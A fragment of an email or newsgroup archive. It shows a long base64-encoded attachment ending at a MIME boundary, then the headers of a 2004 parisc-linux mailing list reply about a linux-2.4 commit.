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


------=_NextPart_000_0010_000070AA.00004104--




From - Thu Nov 08 21:31:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.4 deller
Date: Mon, 19 Apr 2004 12:37:13 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20040419113713.GU18329@parcelfarce.linux.theplanet.co.uk>
References: <20040418172504.99DC9494571@palinux.hppa>
	<40711E550000837C@ocpmta2.freegates.net>
	<20040419061120.GE28684@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623389 8487 80.91.229.3 (22 Nov 2014 02:29:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:49 +0000 (UTC)
